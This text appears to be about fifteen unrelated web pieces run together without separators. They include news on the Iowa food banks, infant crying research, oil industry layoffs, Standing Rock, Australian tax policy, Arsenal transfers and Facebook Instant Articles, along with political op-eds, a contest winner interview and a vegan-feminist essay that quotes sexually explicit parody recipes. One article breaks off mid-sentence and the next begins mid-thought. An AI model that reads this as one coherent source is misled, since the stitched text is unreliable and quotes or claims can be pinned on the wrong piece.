Queen official website: Discography: Made in Heaven: includes lyrics of all non-bonus tracks except "Yeah", "[Untitled Hidden Track]".No one could have predicted that the Food Bank of Iowa would have trouble this summer getting adequate supplies to “a network of 280 organizations providing food to people in 42 counties.” Oh wait, everyone could have predicted that, because donations to food banks typically drop during the warm months, not only in Iowa but all over the country. Meanwhile, demand for food banks increases, particularly among families with hungry children not receiving free school lunches during the summer.
The $500,000 state appropriation to the Iowa Food Bank Association, which Governor Terry Branstad blocked, wouldn’t have entirely filled the gap for the Food Bank of Iowa and seven other food banks around the state, but it would have provided more supplies to an organization that is “starving for donations.” Nothing wrong with the governor encouraging private gifts to the Food Bank of Iowa, but the unmet need would be smaller with state funds added to the mix. UPDATE: Radio Iowa reports on shortages at the Omaha-based food bank that serves 16 Iowa counties. Federal funding cuts are an issue, which is all the more reason for state government to step up and help.Babies cry more in Britain, Canada and Italy, than the rest of the world -- according to new research by the University of Warwick.
Professor Dieter Wolke in the Department of Psychology has formulated the world's first universal charts for the normal amount of crying in babies during the first three months.
In a meta-analysis of studies involving almost 8700 infants -- in countries including Germany, Denmark, Japan, Canada, Italy, the Netherlands and the UK -- Professor Wolke calculated the average of how long babies fuss and cry per twenty-four hours across different cultures in their first twelve weeks.
On average, it was found that babies cry for around two hours per day in the first two weeks. Crying generally peaks at around two hours fifteen minutes per day at six weeks -- and reduces gradually to an average of 1 hour 10 minutes by the twelve week mark.
However, some infants were found to cry as little as 30 minutes, and others over 5 hours, in twenty-four hours.
Babies cry the most in the UK, Italy, Canada, and the Netherlands -- and the lowest levels of crying were found in Denmark, Germany and Japan.
The highest levels of colic -- defined as crying more than 3 hours a day for at least 3 days a week in a baby- were found in the UK (28% of infants at 1-2 weeks), Canada (34.1% at 3-4 weeks of age) and Italy (20.9% at 8-9 weeks of age).
In contrast, lowest colic rates were reported in Denmark (5.5% at 3-4 weeks) and Germany (6.7% at 3-4 weeks).
The current definitions for determining whether a baby is crying too much and suffering from colic, are the Wessel criteria, which were formulated in the 1950s.
As childcare and the family unit has largely transformed over the last half century and across different cultures, new universal guidelines were needed for modern parents and health professionals to assess normal and excessive levels of crying in babies.
Professor Wolke comments on what the research will lead to, "Babies are already very different in how much they cry in the first weeks of life -- there are large but normal variations. We may learn more from looking at cultures where there is less crying and whether this may be due to parenting or other factors relating to pregnancy experiences or genetics.
"The new chart of normal fuss/cry amounts in babies across industrialised countries will help health professionals to reassure parents whether a baby is crying within the normal expected range in the first 3 months or shows excessive crying which may require further evaluation and extra support for the parents."The First "Patrons Calling" & How it Went
So after carefully using Doodle to find a time for my patrons, I not only chose the closest possible day (with just one day notice), I also managed to screw up by having a typo that changed 14th of June to 24th of June. A lot of people didn't get my panicked correction post in time. And I confused people about timezones. SORRY ABOUT ALL OF THAT!
Two people did show up though: Jesse (as a caller) and Inge (in chat) and we had a lovely conversation about lots if interesting topics:
Procedural buildings
Civic Buildings
Zoning
Road styles
Plans after core gamplay works
Transport
Feedback about my process and communication
Graphics
Thanks again to the Inge and Jesse, for all your inspiring input and motivation.
Some observations:
These kinds of conversations are much easier to setup and do for me than regular coding lifestreams
Already few live participants can carry an immersive conversation
The most challenging part for me was actually to follow both verbal and written conversation at the same time, already with just two people. Not sure what the best solution is...
My voice is very monotone, even while talking about stuff that I love - something to practise
The plan for future Patrons Calling streams:
I will do them roughly every two weeks, exact dates depend on Patron availability
I will immediately start planning the next one, so theres plenty of time to find an option and to notify everyone (patrons should already see a doodle-invite for the next one!)
As a patron, you will be able to find all current information and links about upcoming streams in the Patron-only feed
I might not be able to cover all text questions which were submitted ahead of time if they don't fit well into the conversational flow (as happened this time), but I will just keep them and try again in the next stream
If you have any other comments or suggestions, please let me know!https://www.facebook.com/FunkThatNoise1/
There's a lot of noise out there. Whether it is physical— such as the business of a hard at work office or a crowded street, or intellectual— such as all the useless information on the internet that distracts us from our real, more important goals, there is only one guarantee; Most of it is just that: Noise. If correctly ignored and properly utilized, a person can maximize their potential and achieve true satisfaction and pride in their accomplishments. Thus, we created Funk That Noise— A set of crate diggers who wish to cut through all the bullshit, and give you what deep down you know you want: Some funky, groovy rollicking good tunes that range from the old to the new, the electronic to the soulful, and anything else in between. We sincerely hope you enjoy, and remember: Serenity Now! Funk That Noise!Oil & Gas Job Losses Top 43% Worldwide
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Global job losses in the oil & gas industry have just topped 350,000, more than 43% of the industry’s total workforce worldwide.
By the beginning of this month, the figure was at 351,410 globally with the most severe impact of layoffs focused in the oilfield service sector of the industry, according to a Graves & Co. survey.
“The impetus to cut costs has significantly affected those responsible for finding, developing and producing oil and gas”, said Graves & Co. president, John Graves.
Job Cuts Across The Oil & Gas industry
Layoffs in the upstream production sector began slowly but in recent months, they have surpassed those in the drilling, contracting and supply sectors, reaching 80,265, or just under 23% of total layoffs, while drilling and supply now represent 15% and 14.5%, respectively.
“For a long time, job cuts in the E&P sector lagged behind the oilfield service, drilling and supply sectors as oil and gas producers attempted to hold on to important talent”, Graves explained.
18 US Firms File For Bankruptcy
In some cases, layoffs have not been enough and companies have been forced to take extreme measures. In March and April alone, it has been reported that 18 North American companies had filed for bankruptcy protection and since then, the trend continues.
Yesterday, Linn Energy has filed for bankruptcy after spending a massive amount of money in the shale land grab. From 2012 to 2014, the company was an active acquirer, having purchased around US$10.5 billion of assets (£7.25 billion).
“Like many others in our industry, Linn has been impacted by continued low commodity prices”, Linn Energy Chairman Mark E. Ellis, said.
Also in the US, local driller Newfield Exploration announced plans to relocate up to 15% of its US workforce to cut costs amid low crude prices.
“We’re dealing with challenging market conditions”, said Newfield spokeswoman Cindy Hassler. “Our management felt that |
to be THIS! I was so worried about the final video and barely slept the night before, because I knew I had so many looks and that it would be a very hectic day. Even after the first look I had a wave of panic set over me, but I just sucked it up and kept applying, and somehow was able to get everything done in time. So I'd say I'm most proud of that. And the fact that I didn't completely freeze on stage from nervousness is a pretty big achievement, too, I think.
What’s one thing you learned?
One thing I learned in this whole process is that "it's gonna be okay." I was so worried and stressed about so many things that ended up being amazing and so, so rewarding. I learned to have a lot more confidence in myself and how I perform under pressure, which I think can carry over to a lot of different aspects of my life.
What went through your mind when you heard your name announced?
"WHAT." was my major reaction. I'm not even being 'humble' when I say that I was so prepared to give ANY of the other girls a huge hug for winning. For me, just making it to Top 6 was all the reward I could ever want, and had no expectations of winning, so I think I was in shock for a solid 15 seconds, followed by the 'ugly cry', hahaha.
What’s one thing you’re going to splurge on now that you’re the winner?
I don't think I'll actually splurge on anything, hehe. I plan to possibly pursue my YouTube career full-time for a few months and see if I can make that work. It's not often you get that chance and also have a bit of a financial cushion, so I feel like I need to just take a chance! I also would love to take a trip or two, maybe to Iceland or Paris!
What advice would you give to someone that wants to enter FACE Awards?
GO FOR IT. Seriously though, if I didn't enter, I would have missed out entirely on this chance, and I didn't even think I'd get in! Never doubt yourself, never compare yourself, you can do it! You have nothing to lose by just trying, so go for it!Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
Dec. 3, 2016, 7:22 PM GMT / Updated Dec. 3, 2016, 7:22 PM GMT By Daniel A. Medina
CANNON BALL, N.D. — In this remote part of the frozen North Dakota plains, the Oceti Sakowin camp is a striking scene that stands on its own.
Medical tents here treat the ill or injured. Food stands feed and hydrate thousands. An ubiquitous odor from propane gas heaters spills out of the hundreds of semi-permanent structures that dot the rugged landscape.
And more than 350 flags of America's Indian Nations greet visitors as they enter, flying alongside "water is life" banners displaying messages of solidarity from places as far away as India and Japan.
Sitting on less than 50 acres of federal land, this bustling camp community is a refuge for those fighting a $3.7 billion pipeline project pitting people who fear it will destroy the environment against a Dallas-based energy corporation that wants to build it for transporting crude oil.
While the federal government has given the activists, which include Native American tribes members and non-tribes members alike, a Monday deadline to vacate the camp because of worries about the plunging temperatures, the protesters remain defiant.
PHOTOS: Pipeline Protesters Defy Winter’s Chill
"We're here and we're not going anywhere," Aldo Seoane, a member of the Wica Agli Tribal Nations in South Dakota, told NBC News on Friday as he gathered around a fire near his small teepee that he's called home since early August.
Smoke rises from a tent at the Oceti Sakowin camp. Scott Kilian
The camp sits at the confluence of the Missouri and Cannonball rivers where more than 5,000 people such as Seoane now reside — watching as an intensifying conflict over the future of the Dakota Access Pipeline brews all around them.
"We are our own community here and it doesn't matter what happens between Dakota Access, the governor or the sheriff or whoever because our movement is so much bigger now than just a pipeline," Seoane said, hinting at how the pipeline battle, which has garnered national attention, has opened a larger discussion on Native American rights.
Less than a half-mile from his teepee sits a blockade manned by an expansive force of law enforcement officers from Morton County and surrounding states who've blocked the Backwater Bridge going north on Highway 1806. It was the site of clashes in late October that resulted in over 140 arrests.
Moving further east alongside the signless border where the U.S. Army Corps of Engineers' land meets private property, there are dozens of floodlights that shine down on pipeline workers who work through the night and bitter cold to finish a pipeline that is now more than 90 percent complete.
"We're here and we're not going anywhere."
Their goal is to reach the banks of the Missouri where they then will have to cap the pipeline, pending an easement review being conducted by the Army Corps.
Related: Standing Rock Protest: Veterans Pledge to Protect Protesters
The flags of America's Indian Nations fly at the camp. More than 350 are represented at the protest site. Scott Kilian
The Obama administration has on multiple occasions asked that Energy Transfer Partners, the company behind the project, voluntarily stop construction. The installation of hyper-beam lights here last month shows that request has been ignored.
Energy Transfer Partners CEO Kelcy Warren, who remained publicly silent on the pipeline for months as protests forced a halt in the pipeline's construction, told NBC News in an interview last month that he was "100 percent sure that the pipeline will be approved by a Trump administration," regardless of what the Army Corps ultimately decides.
Warren labeled most of the protesters near the Standing Rock Sioux reservation, who call themselves water protectors, as "violent mobs."
Warren appears to have the support of both Gov. Jack Dalrymple, who has urged the Obama administration to quickly issue an easement, and Morton County Sheriff Kyle Kirchmeier. For months, Kirchmeier has defended his department's actions against demonstrators despite reports of police brutality, unlawful arrests and mistreatment in jail.
"Law enforcement is not the aggressors here," Kirchmeier told NBC News. "We are only reacting to what protesters are doing against law enforcement."
A woman from the Tlingit Tsimphean tribe holds an eagle feather into the air as "water protectors" demonstrate on Dec. 3. STEPHANIE KEITH / Reuters
Like Kirchmeier, Standing Rock Sioux Chairman Dave Archambault II has held to his resolve that the pipeline would destroy his people's water supply and ancient sacred sites that date back 15,000 years.
"It poses a threat to our culture, our way of life, our land, our environment," Archambault told NBC News.
Back at the Oceti Sakowin camp, the warring between the governor's mansion and Standing Rock Sioux hasn't dampened the mood among the activists. But that could all change in two days, when the Army Corps has given an order that they must leave the camp over fears that lives will be jeopardized.
But one thing would remain: The view of the impending pipeline, easily visible just across the river.Vote Cruz in Iowa as if the Republic Depends on It
I keep hearing from supporters of other GOP candidates that Ted Cruz can’t win the general election because he is too conservative and too preachy. These same people criticize him for not being authentically conservative and also support others who are preachy.
I have long lamented the conventional wisdom, swallowed whole by many nominally conservative Republicans, that a true-blue consistent conservative can’t win a general presidential election because he can’t attract moderates, centrists, independents, Perotistas, Trumpsters, disaffected Democrats and certainly not women or minorities.
Why is that the accepted thinking, when Ronald Reagan won in two landslides and the moderate GOP presidential candidates from George H.W. Bush to John McCain to Mitt Romney lost? George W. Bush’s compassionate conservatism barely won in 2000.
Trending: The 15 Best Conservative News Sites On The Internet
Would someone please have the guts to tell me in what ways Ted Cruz is too conservative? What does that even mean?
Is your objection that he is socially conservative as well as an economic and foreign policy conservative? Hallelujah! So was Ronald Reagan. Remember his three-legged stool?
We hear from Trump supporters that Ted Cruz is not likable or electable and that he’s an opportunistic follower of Donald Trump on the immigration issue. Thus they’ll support the more likable, electable, real-deal immigration hawk.
But polls say otherwise. They indicate that both Cruz and Rubio could beat Hillary Clinton but that Trump would have more difficulty, probably because of his astronomical unfavorability ratings. The charge that Cruz is in the Trump slipstream on immigration is bunk as well. Cruz was fighting in the trenches on immigration before Trump brought his megaphone to the issue — a megaphone we nevertheless appreciate — and Cruz remains a more reliable bet on the borders and amnesty.
I repeat the question: How is Ted Cruz too conservative? Don’t you really mean that Cruz is too committed to his principles, that he will actually fight against the establishment and thus he is a thorn in their side?
The establishment claims to be just as conservative as we are yet they have an unmistakable, visceral contempt for Ted Cruz, who is one person who has actually refused to “grow” after being elected. This should thrill true conservatives endlessly.
Can you imagine what Cruz could get done if he were elected with a mandate to implement conservative ideas — the only antidote to the destructive path Obama has set us on? We’ve seen what we get with conservative lite, and it doesn’t work.
We need an unprecedented reversal to get us out of this mess, but we mustn’t — forgive me the cliche — throw the baby out with the bathwater. We must elect someone who not only will radically reverse our course but also has demonstrated his commitment to conservative principles, understands the United States Constitution and intends to honor its prescription for limited government.
I don’t support Ted Cruz because he is by far the most learned constitutional scholar of all the candidates, though I am grateful for that bonus. It can’t be solely a matter of head knowledge, but one also of the heart. Ted Cruz, in his heart, soul and mind, and with every fiber of his being, loves the Constitution and the system of ordered liberty it establishes.
Cruz intends to reverse the ravages of the Obama wrecking ball not through extra-constitutional means, but precisely within the constraints of the Constitution. That’s because as a constitutional conservative he understands that the end — even the noble goal of reversing Obama’s destruction — does not justify any means. We can’t blow up the Constitution in the name of saving it. We can’t issue lawless executive orders, pass overreaching legislation and implement unconstitutional regulations in furtherance of our agenda. We have to take special care to reverse Obamism through lawful means, lest we just kick the can down the road until the next lawless progressive comes to power to hammer the final nail into this republic’s coffin.
There is nothing extreme about Ted Cruz except for his commitment to the American idea, to free enterprise, to ordered liberty, to limited government, to national solvency, to America’s national security and sovereignty and to policies designed to unleash robust economic growth to benefit all sectors of society.
There is nothing extreme about Ted Cruz, because there is nothing extreme about Reagan conservatism other than a sincere commitment to reignite America’s uniqueness and greatness.
As we’ve watched this GOP contest unfold, we’ve seen in Cruz a man under fire from all quarters who has maintained his cool, his dignity, his resolve, his faith, his integrity, his presidential demeanor and his unwavering dedication to restoring America — the America that we know and love, the shining city on a hill that has been the most benevolent, decent and prosperous nation in history.
Finally, it’s important for me to emphasize that I don’t idolize Ted Cruz or support him as part of a cult of personality. I support him because I believe he is the best hope for America for the many reasons I’ve underscored and more.
David Limbaugh is a writer, author and attorney. His latest book is “The Emmaus Code: Finding Jesus in the Old Testament.” Follow him on Twitter @davidlimbaugh and his website at www.davidlimbaugh.com.
Also see,
Cruz Has Been Right All Along
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The Opposition Leader, who also declared welfare reform one of the nation's top priorities, last night used a Melbourne speech to ramp up his support for a flat tax rate for those earning between $25,000 and $180,000.
Mr Abbott said Australia was in desperate need of a tax debate and reiterated his election campaign support for the flat 35 per cent rate.
''The most attractive of the Henry recommendations was to increase the tax-free threshold to $25,000 and to have a flat rate from that point to an income of $180,000 a year,'' Mr Abbott said.
However, in a blow to his bid for a fairer tax system, Treasury documents released last night reveal the flat rate would leave millions of middle income earners with a bigger tax bill and cost the Government billions.
''The proposed tax scales are estimated to lead to an income year cost of around $3 billion per annum, despite an increase in net tax liability for the majority of individuals with taxable incomes of between around $35,500 and $94,000,'' it said.
The Henry review modelling, released following an Opposition campaign, said the nation's wealthiest would get ''significant'' tax cuts along with the lowest paid earning less than $30,000.
Despite endorsing the plan in his review, Treasury boss Ken Henry has since said the Budget cannot afford to implement the changes, which would cost an estimated $3 billion a year.
In the election brief prepared for a potential Coalition government, Dr Henry said the plan ''may not be possible in the short term given tight fiscal circumstances''.
Mr Abbott also used the Melbourne lecture to return fire on Prime Minister Julia Gillard after her taunts that Opposition figures were anti-reformist ''economic Hansonites''.
''The Rudd/Gillard Government oscillates between declaring its economic conservatism and attacking three decades of alleged neo-liberalism,'' he said.
Welfare reforms, one of the key themes of his book Battlelines, were a sure way to a more productive society.
''Broadly considered, it's the most important immediate reform task facing the Commonwealth Government,'' he said.
The Coalition's policies to return welfare recipients to work, including relocation allowances for people off work for more than 12 months, remained key to its platform.
The majority of disability pensioners had muscular skeletal problems or mental health issues, but not all disabilities were an ''insuperable bar to work''.
Mr Abbott said welfare reform was not about ''kicking a million disability pensioners''.
''It's an argument against paying them a benefit and then largely ignoring them when they are capable of more.''
Originally published as Abbott plan to tax middle earnersArsenal intend to turn down any offers from Manchester City for Jack Wilshere following his strong finish to the season but talks over a new contract will wait until into next season.
Wilshere still has three years remaining on his current deal but, amid interest from City, has talked over recent weeks of wanting “to be wanted” by Arsenal.
The 23-year-old was only a substitute during the FA Cup final and had struggled to break back into the first-team, even after returning from the ankle injury that derailed his season.
Arsene Wenger, though, was impressed by Wilshere’s form when he did play, especially in the final England matches of the season that included his two goals against Slovenia.
Wenger is adamant that the club must only strengthen this summer and that none of his key young players will be sold. Chelsea were interested in including Alex Oxlade-Chamberlain as part of the deal for Petr Cech but this suggestion was immediately rejected by Arsenal, who also soon hope to reach agreement with Theo Walcott over extending a contract that expires next summer.
• Jack Wilshere inspired by Paul Gascoigne for England
The length of Wilshere’s current deal means that talks over his future will take place in the next year but not this summer. Wilshere clearly now needs a period of regular uninterrupted football and knows that he will face fierce competition for his place.
Francis Coquelin and Santi Cazorla ended last season as Wenger’s preferred central midfield pair, with Mesut Ozil playing behind the main striker, leaving Wilshere and Aaron Ramsey competing to start on the right.
Wilshere has shown for England that he can effective in a more defensive midfield role but Wenger believes that he is at his best when breaking forward.
Wenger is also still deciding whether to add another holding midfielder this summer. If he still does not want to trial Wilshere in that role, his remaining back-up to Coquelin is Mikel Arteta and Mathieu Flamini.
Cech’s arrival is expected to be formally confirmed either at the end of this week or early next, with Colombia goalkeeper David Ospina now increasingly likely to leave for regular first-team football.
Jack Wilshere celebrates scoring for England against Slovenia
A £3.9 million move to Fenerbahce is being negotiated for after he returns from the Copa America.
Romania Under-16 captain Vlad Dragomir, meanwhile, was signed as a first-year scholar on Wednesday by Arsenal from ACS Poli Timisoara for €100,000 (£71,000). “In my opinion, he is one of the most talented young players in Europe at the moment,” said Dragomir’s agent Catalin Sarmasan.
Real Madrid are also interested in centre-back Laurent Koscielny but he signed a new contract last year to stay at Arsenal until 2018.For all their dysfunction, the Republican Senate and House have managed to act with lightning speed in striking down a sensible Obama administration rule designed to stop people with severe mental problems from buying guns.
President Trump, who championed the National Rifle Association agenda as a candidate, is expected to sign the regressive measure. This, despite the Republican mantra that tighter control of mentally troubled individuals — not stronger gun control — is the better way to deal with the mass shootings and gun carnage that regularly afflict the nation.
The Senate voted Wednesday to join the House in revoking the rule. It would have required the Social Security Administration to add about 75,000 people, currently on disability support, to the national background check database and deny them gun purchases. These individuals suffer schizophrenia, psychotic disorders and other problems to such an extent that they are unable to manage their financial affairs and other basic tasks without help.
Allowing them to buy guns poses an inordinate and needless risk to public safety. An existing law bars gun purchases to people “adjudicated as a mental defective” or involuntarily committed to a mental institution. But enforcement of that law has been spotty, because medical records often aren’t added to the federal databases — thus prompting the Obama administration to create the Social Security rule. Congress struck down the rule with Republican majorities — and some Democrats notably up for re-election next year — contending that the Second Amendment rights of these troubled, disabled individuals have to be the prime concern.Facebook’s Instant Article push is in danger of fizzling.
Many publishers are deeply unhappy with the monetization on these pages, with major partners like The New York Times throwing in the towel and many others cutting back the amount of content pushed to the IA platform. In response, Facebook is making concessions to publishers, including new subscription options, in a rare show of weakness for the platform juggernaut.
The Times is among an elite group of publishers that’s regularly tapped by Facebook to launch new products, and as such, it was one of the first batch of publishers to pilot Instant. But it stopped using Instant Articles after a test last fall that found that links back to the Times’ own site monetized better than Instant Articles, said Kinsey Wilson, evp of product and technology at the Times. People were also more likely to subscribe to the Times if they came directly to the site rather than through Facebook, he said. Thus, for the Times, IA simply isn’t worth it. Even a Facebook-dependent publisher like LittleThings, which depends on Facebook for 80 percent of its visitors, is only pushing 20 percent of its content to IA.
Enthusiasm has cooled elsewhere. It’s an about-face from two years ago, when publishers were champing at the bit to join the party. “It’s just a matter of time,” Hearst Digital president Troy Young said at the time. Cosmopolitan was the first Hearst brand to launch, in October that year. Now, Hearst is absent from the program, having determined the monetization isn’t paying off. Hearst declined to comment on the record.
Business news sites Forbes and Quartz are also absent from Instant Articles. Forbes experimented with it last year but found monetization lacking, chief product officer Lewis D’Vorkin recently said. “It left a lot to be desired in terms of monetization,” he said. Condé Nast’s priority is to drive readers back to its own sites, which is why its brands use Instant Articles only sparingly.
Instant Articles has been controversial since Facebook launched the fast-loading mobile articles feature in 2015 to keep users on the social platform longer. In Instant, publishers’ articles, signified with a lightning bolt, would load super fast. But many publishers say it doesn’t monetize as well as old-fashioned links that take readers back to the publisher’s own site. It’s also hard to see if there’s an engagement benefit to the program.
Facebook has been trying to be more responsive to publishers’ concerns. It’s launching call-to-action units that let publishers serve messages in Instant Articles stories inviting people to sign up for a newsletter or “like” their Facebook pages, after testing these with about 100 publishers since the beginning of the year. It’s also testing trial subscription signups and mobile app install promos within Instant Articles with The Washington Post, Bild and The Telegraph.
But in the past year, the ad market has become harder, forcing many publishers to look harder at pushing the subscription lever. And that’s an area where Facebook still falls short. Beyond the free digital subscription trial, Facebook hasn’t said it’s committed to letting publishers test paid subscription signups, much less lay out a timeline for doing so. Facebook still doesn’t have a way for publishers to paywall Instant Articles. Some would like to be able to regularly test how well Instant Articles are performing compared to old-fashioned links, as the Times did. (The Washington Post is running what it says is the first such test right now with Facebook.)
There are also a lot of details to be worked out when it comes to subscription signups on Instant, such as who owns the customer relationship, what data the publisher gets and how the revenue is shared, Wilson added. “The devil’s in the details.” (A Facebook rep said that for now, with the free digital trials, the publisher owns the relationship once the user signs up.)
For other publishers that aren’t heavily dependent on subscriptions as the Times is, or have lucrative direct ad sales businesses, Facebook Instant may still makes sense, though. The Washington Post is still aggressively trying to grow its subscription signups, so it’s been publishing all its articles as Instant posts because the user experience is better.
And one of Facebook’s call to action testers, Slate, gave enthusiastic testimonials about the product, saying Instant drove 41 percent of new newsletter signups, which is significant for Slate. It’s going to use the same feature for other newsletters and its app. “For us, it gives us a chance to promote other things we produce to new audiences,” said Slate senior product manager Chris Schieffer.
Publishers are still keen to demonstrate goodwill with Facebook. The Times’ experience with Instant aside, Wilson stressed that the decision to pull out isn’t necessarily irreversible.
“We haven’t closed the door on it by any means,” he said. “We’re talking to them on variety of products and found them, particularly of late, to be attentive and responsible to the issues we continue to raise. Ultimately, it’s about being able to demonstrate we can match or better the performance of links back to our site.”The latest rumors around Marvel Studios upcoming Captain Marvel film involve Oscar Winning actress Brie Larson (Room, Trainwreck), and that she is in talks to star in the film.
Her name has long been mentioned in discussions of who could best portray the fan favorite character, and in an interview with MTV back in 2015, the topic actually came up. It seems that Larson isn't that familiar with the character, however, and possibly got the character confused with DC's Captain Marvel, better known as Shazam, as her first thought was: "To play, isn't that a boy?"
The interviewer gave Larson a few more details, but she still wasn't familiar, saying:"The first female, so would I be playing a man? (laughs), I was like this is interesting, I'm kind of into it. I thought I was always forever going to be stuck playing female roles but, I'm down to play Chris Evans. No, wait, Chris Evans is Captain America. Who's Captain Marvel?" After a brief pause, the actress still couldn't place the character, but would still be up for the role if that is what fans want to see, adding: "no idea what I'm talking about, great, but people want me to this? Okay, good to know. I guess I've got to start reading the comic book."TRIGGER WARNING: Contains graphic descriptions of rape and violence against women and other animals.
NOT SAFE FOR WORK: Contains graphic sexual language and disturbing images of violated animals.
Vegan feminists argue that oppression is intersectional. In particular, the ways in which women are exploited and harmed are very similar to the ways in which other animals are. A shining example of this intersection is found in Fifty Shades of Chicken, a cookbook that parodies Fifty Shades of Grey (a best selling novel which glamorizes submissive sexuality and violence against women). Fifty Shades of Chicken, a book “for chicken lovers everywhere,” takes this disturbing subject matter to another level of degradation.
Throughout the book, a chicken’s body is used to replace that of a woman, and she is referred to as “Chicken” or “Miss Hen.” The choice of “chicken” was not accidental. Chickens eaten by humans are almost always female. The body parts of chickens (breasts, legs, thighs) are often applied to that of human women, and human women are often called “birds,” “chicks,” “chickens,” or “hens.”
The cookbook features several images of a muscled, shirtless man dominating a chicken’s corpse with weapons, kitchen utensils, and binding (twine). In one image he is shown sodomizing her with an upright roasting device. In others, he is shown penetrating her with a baster and shoving cream into her bottom with his fingers. Most of the photographs of the finished “product” show the bird’s body splayed and ravaged. She is posed pornographically to mimic a defiled human woman.
The recipe titles are also disturbing:
“Popped-Cherry Pullet”
“Extra-Virgin Chicken”
“Please Don’t Stop Chicken”
“Jerked Around Chicken”
“Mustard Spanked Chicken”
“Cream-Slicked Chick”
“Chile-Lashed Fricassee”
“Skewered Chicken”
“Steamy White Meat”
“Bacon Bound Wings”
“Dripping Thighs”
“Thighs Spread Wide”
“Chicken Thighs Stirred Up and Fried Hard”
“Red Cheeks”
“Pound Me Tender”
And my favorite:
“Hog-Tied and Porked Chicken”
It is a regular smorgasbord of entangled oppression, violence, sexism, and speciesism.
These recipes are inextricably representative of rape culture. Sexualized violence is presented as normative, the female body is objectified as a passive recipient of male desire and aggression, and the obligatory obsession with virginity and female purity is highlighted.
Chapter Two, “Chicken Parts and Bits,” literally reenacts the fragmentation of the female body into consumable pieces which are wholly divorced from the person they once belonged to. This objectification erases personhood and makes exploitative consumption all the more palatable.
The recipe instructions also entail graphic violence, domination, and control:
Much pleasure and satisfaction is to be had from tying up your bird. Not only does it show your chicken who’s boss, but a tight binding ensures the chicken cooks exactly how you want it–evenly, moist, and tender. It also closes off the chicken’s cavity, so the juices swelling within can’t spill out, at least not until you’re ready for them. (p. 34)
Using large, strong kitchen shears and a confident hand, forcefully cut the backbone out of the chicken; first cut along one side of the backbone, then cut along the other side until it releases, then pull it out. Gently spread the bird open, pressing down on the breast to flatten it (see Learning the Ropes). Massage the flesh with 1 1/2 teaspoon of salt. (p. 116)
Position the chicken’s nether parts over the vertical roaster’s erect member and thrust the bird down. Tuck her wing tips up behind her wings, behind her body. Tie her legs together with a piece of butcher’s twine or cooking bands […] (p. 120)
It reads like a manual for serial killing.
Several gruesome pornographic narratives were included to preface the recipes and work the reader up into a hot bother for the pleasurable consumption awaiting them. Take this example from “Backdoor Beer-Can Chicken”:
‘Hush,’ he says. He smile and holds up a beer can. ‘Yes, baby, have a drink, I’m sure you need it.’ ‘Oh, no, this is not for me, Chicken.’ He quirks his mouth into a wicked smile. Holy f***…Will it? How? I gasp as he fills me with its astonishing girth. The feeling of fullness is overpowering. He rests me on the grill and I can feel the entire world start to engorge. Desire explodes in my cavity like a hand grenade. (p. 137)
Or this story from “Flattered Breasts”:
Suddenly he seizes me and lays me out on the counter, claiming me hungrily. His fingers pull me taut, the palms of his hands grinding my soft white meat into the hard granite, trapping me. I feel him. His stomach growls, and my mind spins as I acknowledge his craving for me. ‘Why must you always challenge me?’ he murmurs breathlessly. ‘Because I can.’ My pulse throbs painfully. He grabs a fistful of kosher salt. ‘I’m going to season you now.’ ‘Yes.’ My voice is low and heated. He reaches for a rolling pin, then hesitates, looking at me. ‘Yes, please, Chef,’ I moan. The first blow of the rolling pin jolts me but leaves behind a delicious warm feeling. ‘I. Will. Make. You. Mine.’ he says between blows. (p. 62)
These narratives often present the chicken’s corpse as a willing accomplice. This is quite telling, given that she was beheaded and drained of blood days before she arrived in this man’s kitchen under saran wrap. This narrative of willingness is ubiquitous in rape cases and pornography. Even girls and women who are drugged or unconscious are frequently considered “willing.” It is therefore not surprising that a decapitated corpse, in the case of Miss Hen, is depicted as consenting.
As with other females, Miss Hen’s sexuality is strictly controlled and meant only for male entitlement. The relationship of domination that makes consent an impossibility, privileges men, and leaves women and Nonhuman Animals in a position of subservience is obscured. Instead, this chicken is “free-range,” implying that she has a choice in the matter.
What is worse, these actions are supposedly done out of “love” and for her pleasure. It is not enough that women and Nonhuman Animals submit to male superiority, they must also be seen as enjoying their subjugation. If the consumer was made aware of the immense suffering that lies beneath the surface of pornography, prostitution, exotic dancing, dairy, “meat,” “leather,” zoos, horse racing etc., the pleasure of that consumption would be challenged. Previously unexamined oppression would come to light. What a buzz kill.
This book takes the male fantasy of ultimate control over a humiliated, submissive woman to its full fruition. Men cannot legally coerce women into obliging sex slaves through force and fear. They cannot legally fragment women into their body parts, strip them of their identity and self-efficacy, or pulverize and consume their bodies for sexual gratification (though more men than we like to admit do). However, men can have the next best thing–they can humiliate, torture, dismember, and objectify a female Nonhuman Animal for pleasure. He can molest her, sodomize her, rape her, bind her, break her, “pork” her, and “slick” her with cream to the point of physical arousal and salivation.
Whether the victim is human or nonhuman, the script is the same. Control over the vulnerable is sexualized; domination and power is hot stuff. And it’s completely legal, with full support from a patriarchal society.
He continues to fondle my liver with his fingertips until I can’t stand it. He gently places my quivering offal into a skillet where some softened onions are waiting for me. Holy f****** s***…we’re cooking in the middle of a party? Everyone’s mingling and chatting, but I am not paying attention. He stirs my insides with a deft wooden spoon, around and around [... ] (p. 103)
As traumatizing as this book is on its own, what is perhaps most upsetting is the complete lack of criticism from the general public. The book racks up rave reviews by Amazon users who are beside themselves with laughter, folks who can’t get over just how darn clever this book is. Violence against women and Nonhuman Animals is often trivialized, masked by humor, downplayed, and made more or less invisible…but surely, the triggering offensiveness of this book could not be ignored? Not so. At the time of this writing, Fifty Shades of Chicken enjoys a whopping 5 out of 5 stars on Amazon.
The message could not be clearer:
Women=Nonhuman Animals=Sexualized=Dominated=Meat=Objects of Pleasurable Consumption
and
Nonhuman Animals=Feminized=Sexualized=Dominated=Meat=Objects of Pleasurable Consumption
... and apparently this is a hoot.
An adaption of this essay was published in 2013 in Relations: Beyond Anthropocentrism 2 (1): 135-139.
